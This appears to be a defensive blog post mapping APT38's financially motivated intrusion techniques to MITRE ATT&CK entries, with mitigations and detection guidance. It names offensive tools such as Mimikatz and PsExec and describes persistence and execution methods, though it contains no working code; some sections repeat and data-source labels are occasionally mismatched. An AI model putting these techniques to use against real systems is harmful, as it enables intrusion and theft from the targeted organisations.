Presented by: Ashwin (Microsoft Azure MVP)
APT38 is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau. Active since at least 2014, APT38 has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which APT38 stole $81 million, as well as attacks against Bancomext (2018) and Banco de Chile (2018); some of their attacks have been destructive.
North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name Lazarus Group instead of tracking clusters or subgroups.
Source:
MITRE ATT&CK® Matrix for Enterprise
Now, let's see the details around the series of events associated with this group in chronological order, and how we can work to mitigate or detect these threats.
APT38 has identified security software, configurations, defensive tools, and sensors installed on a compromised system.
Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Example commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment. For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the DescribeSecurityGroups action with various request parameters.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment.
Firewall: Firewall Enumeration
An extracted list of available firewalls and/or their associated settings/rules (ex: Azure Network Firewall CLI Show commands)
Monitor for an extracted list of available firewalls and/or their associated settings/rules (ex: Azure Network Firewall CLI Show commands)
Firewall: Firewall Metadata
Contextual data about a firewall and activity around it such as name, policy, or status
Monitor for contextual data about a firewall and activity around it such as name, policy, or status
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls that may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor newly executed processes that may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment.
APT38 has obtained and used open-source tools such as Mimikatz.
Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.
Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).
Pre-compromise
This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.
Monitoring the following activities in your Organization can help you detect this technique.
Malware Repository: Malware Metadata
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in Cobalt Strike payloads. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.
APT38 has conducted watering holes schemes to gain initial access to victims.
Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token.
Multiple ways of delivering exploit code to a browser exist, including:
Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.
Typical drive-by compromise process:
Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.
Adversaries may also use compromised websites to deliver a user to a malicious application designed to Steal Application Access Tokens, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.
Application Isolation and Sandboxing
Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist.
Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist for these types of systems.
Exploit Protection
Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. Many of these protections depend on the architecture and target application binary for compatibility.
Restrict Web-Based Content
For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.
Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.
Update Software
Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique. Use modern browsers with security features turned on.
Monitoring the following activities in your Organization can help you detect this technique.
Application Log: Application Log Content
Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)
Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Monitor for newly constructed files written to disk to gain access to a system through a user visiting a website over the normal course of browsing.
Network Traffic: Network Connection Creation
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for newly constructed network connections that are sent or received by untrusted hosts.
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Monitor for networks that solicits and obtains the configuration information of the queried device
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly executed processes to gain access to a system through a user visiting a website over the normal course of browsing.
APT38 has conducted spearphishing campaigns using malicious email attachments.
Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.
Antivirus/Antimalware
Anti-virus can also automatically quarantine suspicious files.
Network Intrusion Prevention
Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity.
Restrict Web-Based Content
Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments.
Software Configuration
Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). Enabling these mechanisms within an organization (through policies such as DMARC) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.
User Training
Users can be trained to identify social engineering techniques and spearphishing emails.
Monitoring the following activities in your Organization can help you detect this technique.
Application Log: Application Log Content
Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)
Monitor for third-party application logging, messaging, and/or other artifacts that may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Monitor for newly constructed files from a spearphishing emails with a malicious attachment in an attempt to gain access to victim systems.
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Monitor and analyze SSL/TLS traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.
APT38 has used cron to create pre-scheduled and periodic background jobs on a Linux system.
Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code. The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.
An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for Persistence.
Audit
Review changes to the cron schedule. cron execution can be reviewed within the /var/log directory. To validate the location of the cron log file, check the syslog config at /etc/rsyslog.conf or /etc/syslog.conf
User Account Management
cron permissions are controlled by /etc/cron.allow and /etc/cron.deny. If there is a cron.allow file, then the user or users that need to use cron will need to be listed in the file. cron.deny is used to explicitly disallow users from using cron. If neither files exist, then only the super user is allowed to run cron.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All at jobs are stored in /var/spool/cron/atjobs/.
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor for changes made to files for unexpected modifications to access permissions and attributes
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly constructed processes and/or command-lines that executed through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Scheduled Job: Scheduled Job Creation
Initial construction of a new scheduled job (ex: Windows EID 4698 or /var/log cron logs)
Monitor for newly constructed scheduled jobs. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc.
APT38 has used Task Scheduler to run programs at system startup or on a scheduled basis for persistence.
Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.
An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.
Audit
Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges.
Operating System Configuration
Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled.
Privileged Account Management
Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority.
User Account Management
Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments for actions that could be taken to gather tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly constructed processes and/or command-lines that execute from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete.
Scheduled Job: Scheduled Job Creation
Initial construction of a new scheduled job (ex: Windows EID 4698 or /var/log cron logs)
Monitor for newly constructed scheduled jobs by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. Several events will then be logged on scheduled task activity, including: Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered; Event ID 4698 on Windows 10, Server 2016 - Scheduled task created;Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled;Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled
APT38 has used PowerShell to execute commands and other operational tasks.
Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack.
PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).
Antivirus/Antimalware
Anti-virus can be used to automatically quarantine suspicious files.
Code Signing
Set PowerShell execution policy to execute only signed scripts.
Disable or Remove Feature or Program
It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions.
Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.
Execution Prevention
Use application control where appropriate.
Privileged Account Management
When PowerShell is necessary, restrict PowerShell execution policy to administrators. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.
Module: Module Load
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly executed processes that may abuse PowerShell commands and scripts for execution.
Process: Process Metadata
Contextual data about a running process, which may include information such as environment variables, image name, user/owner, etc.
Consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential Downgrade Attack) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.
Script: Script Execution
Launching a list of commands through a script file (ex: Windows EID 4104)
Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
APT38 has used a command-line tunneler, NACHOCHEESE, to give them shell access to a victim’s machine.
Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH.
Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.
Adversaries may leverage cmd to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.
Execution Prevention
Use application control where appropriate.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may abuse the Windows command shell for execution. Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly executed processes that may abuse the Windows command shell for execution.
APT38 has used VBScript to execute commands and other operational tasks.
Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as Component Object Model and the Native API through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.
Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications. VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of JavaScript on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).
Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into Spearphishing Attachment payloads (which may also involve Mark-of-the-Web Bypass to enable execution).
Antivirus/Antimalware
Anti-virus can be used to automatically quarantine suspicious files.
Behavior Prevention on Endpoint
On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Visual Basic scripts from executing potentially malicious downloaded content.
Disable or Remove Feature or Program
Turn off or restrict access to unneeded VB components.
Execution Prevention
Use application control where appropriate. VBA macros obtained from the Internet, based on the file's Mark of the Web (MOTW) attribute, may be blocked from executing in Office applications (ex: Access, Excel, PowerPoint, Visio, and Word) by default starting in Windows Version 2203.
Restrict Web-Based Content
Script blocking extensions can help prevent the execution of scripts and HTA files that may commonly be used during the exploitation process. For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may abuse Visual Basic (VB) for execution.
Module: Module Load
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Monitor for the loading of modules associated with VB languages (ex: vbscript.dll).
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used.
Script: Script Execution
Launching a list of commands through a script file (ex: Windows EID 4104)
Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
APT38 has used the Windows API to execute code within a victim's system.
Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes. This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.
Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.
Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via Disable or Modify Tools).
Behavior Prevention on Endpoint
On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Office VBA macros from calling Win32 APIs.
Execution Prevention
Identify and block potentially malicious software executed that may be executed through this technique by using application control tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.
Monitoring the following activities in your Organization can help you detect this technique.
Module: Module Load
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.
APT38 has attempted to lure victims into enabling malicious macros within email attachments.
An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it. While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.
Behavior Prevention on Endpoint
On Windows 10, various Attack Surface Reduction (ASR) rules can be enabled to prevent the execution of potentially malicious executable files (such as those that have been downloaded and executed by Office applications/scripting interpreters/email clients or that do not meet specific prevalence, age, or trusted list criteria). Note: cloud-delivered protection must be enabled for certain rules.
Execution Prevention
Application control may be able to prevent the running of executables masquerading as other files.
User Training
Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.
Monitoring the following activities in your Organization can help you detect this technique.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Monitor for newly constructed files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly constructed processes and/or command-lines for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to Deobfuscate/Decode Files or Information in payloads.
APT38 has created new services or modified existing ones to run executables, commands, or scripts.
Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services. The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and Net.
PsExec can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API. Tools such as PsExec and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.
Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with Windows Service during service persistence or privilege escalation.
Behavior Prevention on Endpoint
On Windows 10, enable Attack Surface Reduction (ASR) rules to block processes created by PsExec from running.
Privileged Account Management
Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level.
Restrict File and Directory Permissions
Ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may abuse the Windows service control manager to execute malicious commands or payloads.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly executed processes that may abuse the Windows service control manager to execute malicious commands or payloads.
Service: Service Creation
Initial construction of a new service/daemon (ex: Windows EID 4697 or /var/log daemon logs)
Monitor newly constructed services that abuse control manager to execute malicious commands or payloads.
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
Monitor for changes made to windows registry keys and/or values that may abuse the Windows service control manager to execute malicious commands or payloads.
APT38 has used cron to create pre-scheduled and periodic background jobs on a Linux system.
Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code. The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.
An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for Persistence.
Audit
Review changes to the cron schedule. cron execution can be reviewed within the /var/log directory. To validate the location of the cron log file, check the syslog config at /etc/rsyslog.conf or /etc/syslog.conf
User Account Management
cron permissions are controlled by /etc/cron.allow and /etc/cron.deny. If there is a cron.allow file, then the user or users that need to use cron will need to be listed in the file. cron.deny is used to explicitly disallow users from using cron. If neither files exist, then only the super user is allowed to run cron.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All at jobs are stored in /var/spool/cron/atjobs/.
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor for changes made to files for unexpected modifications to access permissions and attributes
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly constructed processes and/or command-lines that executed through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Scheduled Job: Scheduled Job Creation
Initial construction of a new scheduled job (ex: Windows EID 4698 or /var/log cron logs)
Monitor for newly constructed scheduled jobs. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc.
APT38 has used Task Scheduler to run programs at system startup or on a scheduled basis for persistence.
Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.
An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.
Audit
Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges.
Operating System Configuration
